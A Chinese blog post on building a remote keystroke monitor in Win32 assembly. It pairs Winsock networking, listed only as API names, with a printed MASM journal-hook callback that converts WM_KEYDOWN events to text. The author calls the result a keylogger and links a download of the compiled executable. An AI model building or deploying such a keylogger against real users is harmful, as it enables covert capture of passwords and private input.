浅谈WIN32汇编下捕获远程消息

最近闲来无事去搞了下网编 不如直接说看了下教程比较真实,研究了下在TCP/IP协议族的汇编编程和WINDOWS远程钩子,发现其中两者联合起来用 会有意想不到的效果,(所谓的最简单的监视病毒应该就是这样子的吧)。

简单的说:

原理

通过TCP协议 建立连接 建立套接字 绑定IP  建立监听  路由器映射 等一系列的措施后

A:在服务端上建立远程日记钩子(其他钩子也成吧..)在钩子上指定捕获消息参数(例如键盘参数:WM_KEYDOWN)

B:在客户端建立接收器 分析数据包和接收消息

代码实现:(网站空间有限 只给出具体API不详细解说用法)

建立连接服务端部分:

A:调用 WSAStartup 和socket建立套接字(具体逻辑过程)

B:调用WSAAsyncSelect,htons,bind绑定和监听..

C:调用RECV函数来接受数据

别忘记在关闭程序的时候调用closesocket关闭套接字

建立连接客户端部分:

A:socket,WSAAsyncSelect建立套接字

B:连接到服务器中监听的套接字inet_addr,htons,connect

C:recv调用RECV函数来接受数据

别忘记在关闭程序的时候调用closesocket关闭套接字

钩子部分:(在服务端)

A:在初始化消息处建立钩子,调用SetWindowsHookEx

B:编写钩子回调函数,调用CallNextHookEx(防止钩子不止一个,若同类钩子多个需要调用这个函数传递消息),如果是捕获对方WM_KEYDOWN消息的话则调用GetKeyboardState,GetKeyState处理按键消息

C:向客户端(远程监视方)发生消息send

贴点代码比较好看?

钩子回调函数部分…

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

HookProc proc _dwCode,_wParam,_lParam
local @szKeyState[256]:byte
invoke CallNextHookEx,hHook,_dwCode,_wParam,_lParam
pushad
.if _dwCode == HC_ACTION
mov ebx,_lParam
assume ebx:ptr EVENTMSG
.if [ebx].message == WM_KEYDOWN
invoke GetKeyboardState,addr @szKeyState
invoke GetKeyState,VK_SHIFT
mov @szKeyState + VK_SHIFT,al
mov ecx,[ebx].paramH
shr ecx,16
invoke ToAscii,[ebx].paramL,ecx,addr @szKeyState,addr szAscii,0
mov byte ptr szAscii [eax],0
.if szAscii == 0dh
mov word ptr szAscii+1,0ah
.endif
invoke SendDlgItemMessage,hWinMain,IDC_TEXT,EM_REPLACESEL,0,addr szAscii
.endif
assume ebx:nothing
.endif
popad
xor eax,eax
ret
HookProc endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

以下是效果图…

结果被清风美其名曰..键盘记录器..

只上传PE文件..源码就那啥了..毕竟不是啥好东西

http://dl.dbank.com/c0fb6y7fyk

《浅谈WIN32汇编下捕获远程消息》有2个想法

发表评论

邮箱地址不会被公开。 必填项已用*标注